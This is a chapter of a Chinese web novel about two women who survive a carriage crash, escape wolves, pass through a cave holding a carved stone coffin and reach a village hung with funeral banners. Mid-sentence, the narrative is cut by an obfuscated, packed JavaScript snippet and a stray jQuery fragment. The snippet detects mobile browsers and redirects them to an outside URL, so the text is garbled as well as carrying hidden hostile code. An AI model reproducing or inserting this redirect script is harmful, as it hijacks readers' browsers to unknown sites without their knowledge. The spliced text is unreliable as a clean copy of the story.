29. 第 29 章
作品:《我以为我是穿越女主》 “阿丹,快醒醒!”
阿昭呼喊半晌无果,周遭的温度逐渐变低,犹豫片刻,她终于下定决心,缓缓闭上眼……
待“沈缨华”睁开眼,天已近暮,四周静谧无声,凉风袭来,激起一身鸡皮疙瘩。
借着残阳余晖,她终于看清周遭。
自己身下是几近散架的车厢底板,后背抵在掉落的车梁边,隐隐生疼。茶具食盒摔得稀碎,碎瓷片混着糕饼渣撒了一地。
“沈缨华”撑起身子,顿觉手肘和肋下传来钝钝的疼意,许是磕得厉害,摸了摸,确认骨头应是无碍。她四处张望,哑着嗓子喊道:“杨沅君!”
车内无人回应。
她心中惶恐不安,半蹲着爬出去,扶住一旁斜伸出来的树干站起来,视野终于开阔了几分。
马车从山道上翻下来,车厢散了架,歪歪斜斜卡在两棵树之间,车辕断成两截,拉车的马早已不知去向。
她左腿隐隐作痛,一瘸一拐挪动步子,双手挡在嘴边,拢成喇叭状,大声呼喊:“杨沅君!沅娘!”
风过密林响起沙沙声。
“丹娘……我在这儿。”
车厢后侧传来一丝微弱的回应。
“沈缨华”心头一喜,踉跄绕过车厢残骸,一眼就瞧见——杨沅君趴在地上,身上压着一块车板,那板子的一端恰好抵在树干边,令其动弹不得。
“沈缨华”随手抄起一根断裂的木桩,撑在车板下,自己则使出吃奶的劲儿把车板向上抬。
嘎吱——
车板被一寸一寸抬了起来,杨沅君终于得以喘息,她咬紧牙关,双肘撑进泥地,指甲扣着地面的草根,拼命往前蹭,麻木的双腿也渐渐有了一丝知觉,努力向前蹬。
“快!”“沈缨华”憋红了脸,从牙缝里挤出一个字。
杨沅君猛然向前一扑,整个人从车板下滚了出来,翻到一旁的草丛里,大口大口喘气。
“沈缨华”手一松,木板“咚”一声砸到地上,溅起几许泥浆。
“哈——呼——”二人精疲力竭地靠坐在树干边,后背贴着湿漉漉的树干,凉意透过衣衫渗了进来,但此刻谁也没有力气挪动半分。
眼前满地狼藉,二人对视一眼,不约而同长舒一口气。
杨沅君看丹娘半天不吭声,只盯着那堆残骸发愣,以为她在自责,故作轻松安慰道:“翻车成这样咱俩还能劫后余生,哈哈哈,老话说得好,大难不死必有……”
话还没说完,后颈一凉。
冰凉的水珠顺着领口滑进颈侧,冰得她打了个激灵。她顿了顿,脸垮了下来,抬头望向黑压压的天空:“不是吧,又下雨了?!”
滴答。
又一滴落了下来,正中她鼻尖。
转眼间,雨滴密了起来,淅淅沥沥砸在树叶上,落在她们身上。
“沈缨华”回过神,抹了一把脸上的雨水,拍拍杨沅君的肩头:“沅娘,快找找咱们还剩什么能用的,先把火生起来,暖一暖身子。我估计庄子那边很快就会来寻我们。”
“嗯。”
二人扎进雨幕,在车厢残骸中摸索半天,仅有几块勉强能入口的干粮。雨越下越密,直到最后一丝暮光也沉了下去,二人终于找到火折子。
“沈缨华”把残存的车帘扯下来,搭在捡来的碎木板上,蹲下身挡住风,吹了吹火折子,火星子溅出来,落在干燥的布帘上,闪了一下,灭了。
她咬咬牙,手抖得厉害,也不知是冷还是急。
杨沅君见状,双手拢住她的手哈了几口热气,安慰:“丹娘,别急,慢慢来。”
“沈缨华”嘴唇抖了抖,点点头,又向火折子吹口气,细小的火苗跳上布帘,又慢慢攀上碎木,火光逐渐变大,“呼”地一声终于冲破了黑暗。
有了光亮,二人心里踏实不少,相互依偎坐在火堆旁,湿透的衣衫冒出白气,僵硬冰凉的四肢渐渐变软变暖。
“嗷——呜——”
一声诡异绵长的嚎叫从远处传来。
杨沅君背脊一僵,汗毛炸立:“狼?!”
她下意识攥紧腰间的匕首,指节发白。匕首的刀刃不过巴掌长,如何与狼群斗?脑子闪过无数念头,每个似乎都通向死路。
“沈缨华”心里也慌得要命——荒郊野外,不知身处何方,没有趁手的武器,一旦被野兽盯上……她压下喉头的颤音:
“沅娘,咱们不能跟狼群硬碰硬。点上火把,咱们走!”
“好!”
二人各抽一根燃烧的木棍,手牵手,朝狼嚎声的反方向走。
雨势渐渐变小,但雾气越发变浓,火把仅能照出一小片光亮,每往走一步都须得小心翼翼,因为前面皆是黑黢黢的虚空,压根分不清前方是路还断崖。
二人脚跟脚,一步一步往前挪,脚下是湿滑的落叶和碎石,脚踩在上簌簌作响。黑暗中,四周时不时传来窸窸窣窣的声音,分不清是风刮过树叶还是有某种生物窜过灌木。
“嗷——呜——”
狼嚎声再次响起,二人僵在原地不敢动弹,再仔细一听,似乎远了,像是往另一个方向去了。
杨沅君紧绷的肩膀松了下来,她刚想说咱们运气不错,结果脚下一空——
她甚至还来不及出声,整个人猝不及防往下坠。“沈缨华”本能地伸手去拽,却被下坠的力道一并带着往下。二人一前一后,顺着湿滑的坡道往下溜,耳畔是风声、摩擦声和她们压不住的惊叫。
“啊——”
也不知滑了多久,二人一路翻滚着往下,直到“扑通”一声跌进坑底,摔得晕头转向,眼冒金星。
半晌,“沈缨华”才回过神,撑起身子,晃了晃脑袋,耳朵似乎嗡嗡作响。
“沅娘,你没事吧?”
“没事……”杨沅君的声音从黑暗中传来,虽有点发颤,但还算稳当。
“沈缨华”摸到滚落在旁的火把,从怀里掏出火折子,吹了一下,再次点燃。
她举起来四处照了照——原来她们滑入了一个天然形成的坑洞,还好那滑道是一条斜坡,斜角虽大了点,但并非直上直下,方才她们一路翻滚,除了有几处擦伤和磕碰,倒也并无大碍。
坑底四周皆是潮湿的石壁,长满暗绿色的苔藓,手一摸,滑腻腻的。方才那场雨让洞里时湿气更重,苔藓上都挂着细密的水珠,在火光下微微发亮。
二人试着向上爬,谁这刚一踩上去就脚底打滑,坡道上也没有当作手点的支撑,试了好几次,除了蹭一手泥,毫无进展。
体力逐渐耗尽,二人终于认清,若无外力相助,单凭她们自己很难爬回地面。
“沈缨华”有些丧气地瘫坐在地上,她余光一瞥——黑乎乎的石壁旁,似乎隐约投来一丝异样的光亮。
有人?!
她心头一惊,下意识大喊:“谁在那儿?”
杨沅君被她这一嗓子吓得够呛,猛然转身,也看过去,真的有亮光,忽闪忽闪的,就像——有人点了油灯站在那儿。
“沈缨华”抽出匕首,举着火往那亮光处挪步,杨沅君也有样学样,忍着俱意跟上去。
石壁的轮廓渐渐清晰——原来这不是封闭的,石壁上有一个狭小的通道,边缘粗糙,约莫只容一人侧身而过。那股隐约的光亮从石壁后折射而来,忽明忽暗,像是谁在深处点了一盏将灭未灭的灯。
方才二人太过紧张,今日月光又不甚明亮,火把光照范围有限,竟一直没发现这处蹊跷。
“此处潮湿,火把亦撑不了多久,夜深露重,与其在这儿受冻……”“沈缨华”顿了顿,转头看向杨沅君,火光映在她脸上,明暗各半,“要不赌一把,去瞧瞧里面。”
杨沅君望着那幽深的洞口,咽了咽口水,点了点头。
二人一道,举着火把,一步一步,朝那片未知的黑暗里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366050|198995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走去。身后,雨水还在淅淅沥沥地下着,顺着斜坡淌进坑底,聚成一个小小的水洼。
这里是一处地下洞穴,但通道应是由人工开凿而成,岩壁上能看出斧凿的痕迹。明明身处地下,还能感觉到空气流动——风缓慢拂过,像是从细小的缝隙中渗出来,还带着潮湿的土腥气。
走了约莫一刻钟,眼前赫然出现分岔路,两条黑洞洞的通道,好似巨兽张开的大嘴,不知通向何处。
“沈缨华”举起火把试探——左侧洞口,火光纹丝不动不动,右侧洞口,火光微晃。
“这边有风。”说罢,她拿起匕首在分叉的石壁上画下一道深深的记号,领着杨沅君继续前行。
如此往复,每遇岔口便如法炮制,约莫半个时辰,通道越走越宽,头顶的石壁也渐渐变高,转过一处通道,前方豁然开朗,火光照出去,竟出现一处颇为宽敞的石室。
二人面色一变,直勾勾盯着石室中央——一具孤零零的石棺。
杨沅君脚步骤然顿住,脚底窜上一股凉意,她喉头翻滚,压低了声音:“丹娘,我们是不是进了别人的墓穴……要不,还是退回去吧……”
“沈缨华”没应声,她蹙眉疑惑,谁家会在这种地方放棺材?没有密闭的墓室,没有陪葬品,就这么大喇喇搁在石室中。
她握紧火把,不顾沅娘的劝阻,朝石棺迈了几步。
橘黄色的光驱走了黑暗,石棺的轮廓渐渐清晰。那石棺五面皆雕有纹饰,密密麻麻铺满棺身。但并非常见的祥云莲花。
“沈缨华”凑近了些,努力辨认那些奇怪的花纹。
最上边刻着的似乎是“斩”字,下面是一堆密密麻麻的符号,其中几个形似一把锁,像是某种文字或……符咒。再往下,是一圈饕餮纹,兽目怒睁,獠牙外露,其四周遍布火纹。
火光映衬下,忽暗忽明,那些奇怪的纹饰似乎活了过来,在棺椁上爬行。
最奇怪的是,棺材周围什么都没有,就孤零零地放在中央,没有牌位,没有陪葬的器皿,突兀又诡异。
沈缨华背脊发凉,她直起身退开几步,忽觉有凉风拂过。举着火把四处查看,这才注意到棺材正对面有一条通道,黑黢黢的洞口和黑暗融为一体,若不是有微风灌入,恐怕很难发现。
她回头看了一眼脸色发白的杨沅君,她们都已精疲力竭,衣裳干了湿、湿了干,黏在身上,风一过,激得浑身发冷,再这么下去,有失温的风险。
“沈缨华”咬咬牙,在通道口又做好标记,牵起沅娘的手,轻声说:“走吧。”
杨沅君犹豫一瞬,最终点头跟上,二人钻进最后的通道。
不过一刻钟,前方隐隐约约透出一丝亮光,不是烛火的光,是那种灰蒙蒙的天光。
二人心头一喜,不由得加快脚步。通道越来越宽,清冷的山风扑面而来,眼前的视野豁然开朗。
她们终于重见天日。
洞穴外几步之遥,有一约莫半人高的石台,台面上摆放着许多瓜果胡饼。二人早已饥渴难耐,迫不及待抓起一个还算新鲜的果子,随意在衣服上擦了擦,一口咬下。
勉强垫了肚子,二人这才举起火把查看到底身处何处。
从滑入洞穴至走到这里,一路几乎都是下坡,这儿恐怕是断崖之下的山谷深处。
高台上的饼子虽已发霉,但果子还能入口,摆放的时间恐怕就这几日,周围必定有人家,或者有通向外界的路。
杨沅君四处张望,惊喜地指着远处:“丹娘,你看那儿!是不是有人家?”
沈缨华顺手望去,山林中黑乎乎的,看不太清,她眯着眼,凝神细看。不远处的山林中,有若隐若现的白光。在浓稠的黑夜中,分外扎眼。
二人确认没有眼花,不约而同迈开脚步,朝微弱的白光处走去。
约莫两刻钟,前方景象渐渐清晰——那不是白光,而是一个挂满白幡的村庄。

